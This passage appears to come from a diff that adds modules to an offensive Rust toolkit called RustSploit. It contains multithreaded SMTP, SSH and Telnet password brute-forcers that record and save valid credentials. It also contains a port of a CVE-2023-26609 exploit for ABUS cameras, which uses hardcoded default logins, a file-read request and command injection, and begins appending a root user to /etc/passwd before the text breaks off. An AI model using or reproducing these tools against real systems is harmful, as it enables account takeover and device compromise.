let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let config = SmtpBruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
};
|
||||
run_smtp_bruteforce(config)
|
||||
}
|
||||
|
||||
fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let addr = normalize_target(&config.target, config.port)?;
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
|
||||
}
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(Mutex::new(false));
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
if config.full_combo {
|
||||
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
|
||||
} else if usernames.len() == 1 {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
} else if passwords.len() == 1 {
|
||||
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
|
||||
} else {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
}
|
||||
drop(tx);
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let config = config.clone();
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if *stop_flag.lock().unwrap() { break; }
|
||||
if config.verbose { println!("[*] {}:{}", user, pass); }
|
||||
match try_smtp_login(&addr, &user, &pass) {
|
||||
Ok(true) => {
|
||||
println!("[+] VALID: {}:{}", user, pass);
|
||||
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
|
||||
if config.stop_on_success {
|
||||
*stop_flag.lock().unwrap() = true;
|
||||
while rx.try_recv().is_ok() {}
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
pool.join();
|
||||
let found = found.lock().unwrap();
|
||||
if found.is_empty() {
|
||||
println!("[-] No valid credentials.");
|
||||
} else {
|
||||
println!("[+] Found:");
|
||||
for (u,p) in found.iter() { println!("{}:{}", u, p); }
|
||||
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
let f = prompt("Filename: ");
|
||||
save_results(&f, &found)?;
|
||||
println!("[+] Saved to {}", f);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Try login with both AUTH PLAIN and AUTH LOGIN, returns Ok(true) if success, Ok(false) if auth fail, Err on connection/protocol error.
|
||||
fn try_smtp_login(addr: &str, username: &str, password: &str) -> Result<bool> {
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)).context("Connect timeout")?;
|
||||
stream.set_read_timeout(Some(Duration::from_millis(1500))).ok();
|
||||
stream.set_write_timeout(Some(Duration::from_millis(1500))).ok();
|
||||
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
|
||||
let mut banner_ok = false;
|
||||
for _ in 0..3 {
|
||||
let event = telnet.read().context("Banner read error")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("220") { banner_ok = true; break; }
|
||||
}
|
||||
}
|
||||
if !banner_ok { return Err(anyhow::anyhow!("No 220 banner")); }
|
||||
telnet.write(b"EHLO scanner\r\n")?;
|
||||
let mut login_ok = false;
|
||||
let mut plain_ok = false;
|
||||
let mut ehlo_seen = false;
|
||||
let mut buf = String::new();
|
||||
for _ in 0..6 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
buf.push_str(&s);
|
||||
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
|
||||
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
|
||||
if s.starts_with("250 ") { ehlo_seen = true; break; }
|
||||
}
|
||||
}
|
||||
if !ehlo_seen { return Ok(false); }
|
||||
// Try AUTH PLAIN
|
||||
if plain_ok {
|
||||
let mut blob = vec![0];
|
||||
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
|
||||
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
|
||||
telnet.write(cmd.as_bytes())?;
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { break; }
|
||||
}
|
||||
}
|
||||
}
|
||||
// Try AUTH LOGIN
|
||||
if login_ok {
|
||||
telnet.write(b"AUTH LOGIN\r\n")?;
|
||||
let mut expect_user = false;
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("334") { expect_user = true; break; }
|
||||
}
|
||||
}
|
||||
if !expect_user { return Ok(false); }
|
||||
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
|
||||
telnet.write(ucmd.as_bytes())?;
|
||||
let mut expect_pass = false;
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("334") { expect_pass = true; break; }
|
||||
}
|
||||
}
|
||||
if !expect_pass { return Ok(false); }
|
||||
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
|
||||
telnet.write(pcmd.as_bytes())?;
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { break; }
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Open: {}", path))?;
|
||||
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
|
||||
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
|
||||
let t = host.trim();
|
||||
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
|
||||
let addr = cap.get(1).unwrap().as_str();
|
||||
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
|
||||
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
|
||||
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
|
||||
}
|
||||
@@ -0,0 +1,281 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
task::spawn_blocking,
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== SSH Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SSH Port", "22")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let initial_addr = format!("{}:{}", target, port);
|
||||
let connect_addr = format_host_port(&initial_addr)?;
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", connect_addr);
|
||||
|
||||
let users = Arc::new(load_lines(&usernames_file)?);
|
||||
let pass_file = File::open(&passwords_file)?;
|
||||
let pass_buf = BufReader::new(pass_file);
|
||||
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks = Vec::new();
|
||||
let mut user_cycle_idx = 0;
|
||||
|
||||
for pass_str in pass_lines {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
let users_for_current_pass: Box<dyn Iterator<Item = String>> = if combo_mode {
|
||||
Box::new(users.iter().cloned())
|
||||
} else {
|
||||
if users.is_empty() {
|
||||
Box::new(std::iter::empty())
|
||||
} else {
|
||||
let user = users[user_cycle_idx % users.len()].clone();
|
||||
user_cycle_idx += 1;
|
||||
Box::new(std::iter::once(user))
|
||||
}
|
||||
};
|
||||
|
||||
for user_str in users_for_current_pass {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = Arc::clone(&semaphore).acquire_owned().await?;
|
||||
|
||||
let task_addr = connect_addr.clone();
|
||||
let task_user = user_str;
|
||||
let task_pass = pass_str.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
|
||||
let task = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if *stop_clone.lock().await {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_ssh_login(&task_addr, &task_user, &task_pass).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", task_addr, task_user, task_pass);
|
||||
found_clone.lock().await.push((task_addr.clone(), task_user.clone(), task_pass.clone()));
|
||||
if stop_on_success {
|
||||
*stop_clone.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", task_addr, task_user, task_pass));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", task_addr, e));
|
||||
}
|
||||
}
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
tasks.push(task);
|
||||
}
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
let user_owned = user.to_string();
|
||||
let pass_owned = pass.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
match TcpStream::connect(&addr_owned) {
|
||||
Ok(tcp) => {
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
match sess.userauth_password(&user_owned, &pass_owned) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
|
||||
}
|
||||
})
|
||||
.await??;
|
||||
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
fn format_host_port(input: &str) -> Result<String> {
|
||||
if input.starts_with('[') {
|
||||
if let Some(end_bracket_idx) = input.find("]:") {
|
||||
let host_part = &input[1..end_bracket_idx];
|
||||
if !host_part.contains('[') && !host_part.contains(']') {
|
||||
if (&input[end_bracket_idx+2..]).parse::<u16>().is_ok() {
|
||||
return Ok(input.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let (host_candidate, port_str) = match input.rfind(':') {
|
||||
Some(idx) if idx > 0 => { // Ensure colon is not the first character
|
||||
let (h, p) = input.split_at(idx);
|
||||
(h, &p[1..]) // Strip colon from port part
|
||||
}
|
||||
_ => return Err(anyhow!("Invalid target address format: '{}' - missing port or malformed", input)),
|
||||
};
|
||||
|
||||
if port_str.parse::<u16>().is_err() {
|
||||
return Err(anyhow!("Invalid port in address: '{}'", input));
|
||||
}
|
||||
|
||||
let stripped_host = host_candidate.trim_matches(|c| c == '[' || c == ']');
|
||||
|
||||
if stripped_host.contains(':') {
|
||||
Ok(format!("[{}]:{}", stripped_host, port_str))
|
||||
} else {
|
||||
Ok(format!("{}:{}", stripped_host, port_str))
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default_char);
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y' or 'n'.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path_candidate = Path::new(input_path_str)
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
|
||||
.map(|s_cow| s_cow.into_owned())
|
||||
.unwrap_or_else(|| "ssh_brute_results.txt".to_string());
|
||||
|
||||
PathBuf::from(format!("./{}", path_candidate))
|
||||
}
|
||||
@@ -0,0 +1,263 @@
|
||||
use anyhow::{Result, Context};
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
use telnet::Event;
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
use telnet::Telnet;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== Telnet Bruteforce Module (RustSploit) ===\n");
|
||||
|
||||
let target = target.to_string();
|
||||
let port = prompt("Port (default 23): ").parse().unwrap_or(23);
|
||||
let username_wordlist = prompt("Username wordlist file: ");
|
||||
let password_wordlist = prompt("Password wordlist file: ");
|
||||
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
|
||||
let stop_on_success = prompt("Stop on first valid login? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y");
|
||||
let full_combo = prompt("Try every username with every password? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y");
|
||||
let verbose = prompt("Verbose mode? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y");
|
||||
|
||||
let config = TelnetBruteforceConfig {
|
||||
target,
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
};
|
||||
|
||||
run_telnet_bruteforce(config)
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct TelnetBruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
}
|
||||
|
||||
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
|
||||
// 1) Normalize & validate host:port
|
||||
let addr = normalize_target(&config.target, config.port)
|
||||
.context("Invalid target address")?;
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()?
|
||||
.next()
|
||||
.context("Unable to resolve target address")?;
|
||||
|
||||
println!("\n[*] Starting Telnet bruteforce on {}", socket_addr);
|
||||
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
|
||||
let creds = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(Mutex::new(false));
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
|
||||
// 2) Build the combo queue
|
||||
if config.full_combo {
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
tx.send((u.clone(), p.clone()))?;
|
||||
}
|
||||
}
|
||||
} else if usernames.len() == 1 {
|
||||
for p in &passwords {
|
||||
tx.send((usernames[0].clone(), p.clone()))?;
|
||||
}
|
||||
} else if passwords.len() == 1 {
|
||||
for u in &usernames {
|
||||
tx.send((u.clone(), passwords[0].clone()))?;
|
||||
}
|
||||
} else {
|
||||
println!("[!] Multiple creds & full_combo=OFF → using first username.");
|
||||
for p in &passwords {
|
||||
tx.send((usernames[0].clone(), p.clone()))?;
|
||||
}
|
||||
}
|
||||
drop(tx);
|
||||
|
||||
// 3) Spawn workers
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let creds = Arc::clone(&creds);
|
||||
let cfg = config.clone();
|
||||
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if *stop_flag.lock().unwrap() {
|
||||
break;
|
||||
}
|
||||
if cfg.verbose {
|
||||
println!("[*] Trying {}:{}", user, pass);
|
||||
}
|
||||
match try_telnet_login(&addr, &user, &pass) {
|
||||
Ok(true) => {
|
||||
println!("[+] Valid: {}:{}", user, pass);
|
||||
creds.lock().unwrap().push((user, pass));
|
||||
if cfg.stop_on_success {
|
||||
*stop_flag.lock().unwrap() = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
if cfg.verbose {
|
||||
eprintln!("[!] Error: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
pool.join();
|
||||
|
||||
// 4) Report & optional save
|
||||
let found = creds.lock().unwrap();
|
||||
if found.is_empty() {
|
||||
println!("[-] No valid credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Found credentials:");
|
||||
for (u, p) in found.iter() {
|
||||
println!(" - {}:{}", u, p);
|
||||
}
|
||||
if prompt("\n[?] Save to file? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y")
|
||||
{
|
||||
let file = prompt("Filename: ");
|
||||
if let Err(e) = save_results(&file, &found) {
|
||||
eprintln!("[!] Failed to save: {}", e);
|
||||
} else {
|
||||
println!("[+] Results saved to '{}'", file);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt a single login, with 0.7 s connect+I/O timeout
|
||||
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
|
||||
// Resolve to SocketAddr
|
||||
let socket = addr
|
||||
.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
|
||||
// Connect with 1500 ms timeout
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500))
|
||||
.context("Connection timed out")?;
|
||||
// I/O timeout
|
||||
stream
|
||||
.set_read_timeout(Some(Duration::from_millis(1500)))
|
||||
.context("Failed to set read timeout")?;
|
||||
stream
|
||||
.set_write_timeout(Some(Duration::from_millis(1500)))
|
||||
.context("Failed to set write timeout")?;
|
||||
|
||||
// Wrap into Telnet
|
||||
let mut connection = Telnet::from_stream(Box::new(stream), 256);
|
||||
|
||||
let mut login_seen = false;
|
||||
let mut pass_seen = false;
|
||||
for _ in 0..10 {
|
||||
let event = connection.read().context("Read error or timeout")?;
|
||||
if let Event::Data(buffer) = event {
|
||||
let out = String::from_utf8_lossy(&buffer).to_lowercase();
|
||||
if !login_seen && (out.contains("login:") || out.contains("username")) {
|
||||
connection.write(format!("{}\n", username).as_bytes())?;
|
||||
login_seen = true;
|
||||
} else if login_seen && !pass_seen && out.contains("password") {
|
||||
connection.write(format!("{}\n", password).as_bytes())?;
|
||||
pass_seen = true;
|
||||
} else if pass_seen {
|
||||
if out.contains("incorrect")
|
||||
|| out.contains("failed")
|
||||
|| out.contains("denied")
|
||||
{
|
||||
return Ok(false);
|
||||
}
|
||||
if out.contains("last login")
|
||||
|| out.contains("$")
|
||||
|| out.contains("#")
|
||||
|| out.contains("welcome")
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let f = File::open(path).context(format!("Unable to open {}", path))?;
|
||||
Ok(BufReader::new(f).lines().filter_map(Result::ok).collect())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut f = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(path)?;
|
||||
for (u, p) in creds {
|
||||
writeln!(f, "{}:{}", u, p)?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg);
|
||||
io::stdout().flush().unwrap();
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf).unwrap();
|
||||
buf.trim().to_string()
|
||||
}
|
||||
|
||||
/// Enhanced IPv4/IPv6/domain normalizer & resolver
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let caps = re
|
||||
.captures(host.trim())
|
||||
.ok_or_else(|| anyhow::anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str().parse::<u16>().context("Invalid port value")?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
// Verify DNS/getaddrinfo
|
||||
formatted
|
||||
.to_socket_addrs()
|
||||
.context(format!("Could not resolve {}", formatted))?;
|
||||
Ok(formatted)
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod generic; // <-- lowercase folder name
|
||||
pub mod camera;
|
||||
@@ -0,0 +1,153 @@
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
|
||||
// CVE: CVE-2023-26609
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
// Cargo.toml:
|
||||
// [dependencies]
|
||||
// anyhow = "1.0"
|
||||
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
|
||||
// md5 = "0.7.0"
|
||||
|
||||
use anyhow::{Result, anyhow};
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
|
||||
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
|
||||
fn format_host(raw: &str) -> String {
|
||||
if raw.contains(':') {
|
||||
// strip any number of existing brackets, then wrap once
|
||||
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
raw.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Send authenticated LFI request
|
||||
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
|
||||
let host = format_host(target);
|
||||
let url = format!(
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
host, filepath
|
||||
);
|
||||
println!("[*] Sending LFI request to: {}", url);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send authenticated RCE request with command injection
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let host = format_host(target);
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
println!("[*] Sending RCE request to: {}", url);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating SSH key on target...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Stage 2: Inject a root user with an MD5-hashed password
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
// Compute lowercase-hex MD5 of the provided password
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
println!("[*] MD5 hash of password: {}", hash);
|
||||
|
||||
// Build the echo command to append to /etc/passwd
|
||||
let cmd = format!(
|
||||
